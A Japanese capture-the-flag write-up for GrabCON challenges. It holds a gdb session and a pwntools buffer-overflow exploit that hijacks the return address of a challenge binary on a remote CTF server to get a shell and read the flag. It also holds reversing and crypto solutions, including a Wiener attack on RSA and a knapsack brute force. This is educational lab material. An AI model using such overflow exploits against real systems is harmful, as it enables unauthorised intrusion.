BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
Reading symbols from ./easybin...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/easybin 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x405670 ("well lets check if you can bypass me!!!")
RDI: 0x405697 --> 0x0 
RBP: 0x4147414131414162 ('bAA1AAGA')
RSP: 0x7fffffffde58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x40119d (<main+51>:	ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x405010 --> 0x0 
R11: 0x0 
R12: 0x401060 (<_start>:	endbr64)
R13: 0x7fffffffdf30 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401192 <main+40>:	call   0x401030 <printf@plt>
   0x401197 <main+45>:	mov    eax,0x0
   0x40119c <main+50>:	leave  
=> 0x40119d <main+51>:	ret    
   0x40119e:	xchg   ax,ax
   0x4011a0 <__libc_csu_init>:	endbr64 
   0x4011a4 <__libc_csu_init+4>:	push   r15
   0x4011a6 <__libc_csu_init+6>:	
    lea    r15,[rip+0x2c53]        # 0x403e00
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffde60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffde68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffde70 ("AJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffde78 ("AAKAAgAA6AAL")
0040| 0x7fffffffde80 --> 0x4c414136 ('6AAL')
0048| 0x7fffffffde88 --> 0x77534f1f44bf2ca0 
0056| 0x7fffffffde90 --> 0x401060 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040119d in main ()
gdb-peda$ patto AcAA
AcAA found at offset: 56
gdb-peda$ p &vuln
$1 = (<text variable, no debug info> *) 0x401146 <vuln>

任意の56バイトの後にvuln関数のアドレス(0x401146)を64バイト文字列にしたものを指定すればよい。

from pwn import *

if len(sys.argv) == 1:
    p = remote('35.205.161.145', 49153)
else:
    p = process('./easybin')

payload = 'A' * 56
payload += p64(0x401146)

print payload
data = p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 35.205.161.145 on port 49153: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x11\x00\x00\x00
[*] Switching to interactive mode
$ ls
easybin
flag.txt
run.sh
ynetd
$ cat flag.txt
GrabCON{w3ll_Y0u_Kn0w_Basics!!!}
GrabCON{w3ll_Y0u_Kn0w_Basics!!!}

Easy Rev (Reversing)

Ghidraでデコンパイルする。

undefined8 FUN_00101277(void)

{
  long in_FS_OFFSET;
  int local_20;
  undefined4 local_1c;
  undefined4 local_18;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1c = 0x1466c7;
  local_18 = 0xdeb9d828;
  local_14 = 0x140685;
  puts("Looking for the flag?");
  printf("Enter the key: ");
  __isoc99_scanf(&DAT_0010202f,&local_20);
  if (local_14 == local_20) {
    FUN_001011a9();
  }
  else {
    puts("Wrong! Try Again ...");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

0x140685と数値として比較しているだけ。0x140685は10進数にすると、1312389になるので、これを指定すればよい。

$ ./baby_re_2
Looking for the flag?
Enter the key: 1312389
GrabCON{y0u_g0t_it_8bb31}
GrabCON{y0u_g0t_it_8bb31}

Warm-up (Crypto)

問題文より、base64デコード、base32デコードを5回行えばよい。

from base64 import *

with open('mukesh.txt', 'r') as f:
    data = f.read().rstrip()

for i in range(5):
    data = b64decode(data)
    data = b32decode(data)

print data
GrabCON{dayuum_s0n!}

Poke Ball RSA (Crypto)

eが大きいので、Wiener attackで復号する。

from fractions import Fraction
from Crypto.Util.number import *

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

n = 498934084350094415783044823223130007435556803301613073259727203199325937230080661117917023582579699673759861892703348357714077684549303787581429366922208568924252052118455313229534699860304480039147103608782140303489222166267907007839021544433148286217133494762766492655602977085105487216032806292874190551319
e = 134901827939710543990222584187396847806193644190423846456160711527109836908087675183249532946675670587286594441908191054495871501233678465783530503352727362726294270065122447852357566161748618195216611965946646411519602447104878893524856862722902833460104389620397589021732407447981724307130484482495521398799
c = 100132888193232309251839777842498074992587507373917163874335385921940537055226546911990198769720313749286675018486390873216490470403470144298153410686092752282228631590006943913867497072931343354481759219425807850047083814816718302223434388744485547550941814186146959750515114700335721173624212499886218608818
p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag

復号結果は以下の通り。

e=2,c=9019127052844164572606928250741960583163943438936945828390420331200602392329

さらに暗号の問題になっている。cの値の平方根をとり、文字列に変換する。

import sympy
from Crypto.Util.number import *

c = 9019127052844164572606928250741960583163943438936945828390420331200602392329
m = sympy.sqrt(c)
flag = long_to_bytes(m)
print flag
GrabCON{*1}

Old Monk's Password (Crypto)

暗号の1文字目のASCIIコードがiになるので、それを元に復号する。

#!/usr/bin/python3

enc = b'\x0cYUV\x02\x13\x16\x1a\x01\x04\x05C\x00\twcx|z(((%.)=K%(>'

x = "hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm"

i = enc[0]
dec = ''
for c in enc[1:]:
    dec += chr(c ^ ord(x[i]))
    i = (i + 1) % 79

flag = 'GrabCON{%s}' % dec
print(flag)
GrabCON{817letmein40986728ilikeapples}

The Ancient Temple (Crypto)

暗号処理の概要は以下の通り。

・M = 7777771
・s = []
・l = 1337
・C = []
・n = []
・k: フラグの各文字の2進数の配列の配列
・s = [203, 877, 4140, 21147, 115975, 678570, 4213597]
・n = [(l * s[0]) % M, (l * s[1]) % M, ..., (l * s[6]) % M]
・kの各pについて、ビットが立っているところの対応するsを足し、Cに追加する。
・M, s, l, Cを出力

Merkle-Hellmanナップサック暗号のようになっているが、公開鍵が超増加列になっていない。各文字7bitで対応する暗号ができているので、ブルートフォースで復号する。

import itertools

with open('gen.txt', 'r') as f:
    M = int(f.readline().rstrip().split(' = ')[-1])
    s = eval(f.readline().rstrip().split(' = ')[-1])
    l = int(f.readline().rstrip().split(' = ')[-1])
    C = eval(f.readline().rstrip().split(' = ')[-1])

n = []
for i in range(len(s)):
    ni = (l * s[i]) % M
    n.append(ni)

flag = ''
for i in range(len(C)):
    for code in range(32, 127):
        p = map(int, list(bin(code)[2:].zfill(7)))
        C_curr = []
        for (x, y) in zip(p, n):
            C_curr.append(x * y)
        if sum(C_curr) == C[i]:
            flag += chr(code)
            break

print flag
GrabCON{kn4ps4ck_h45_g07_y0ur_baCK}

*1:^_^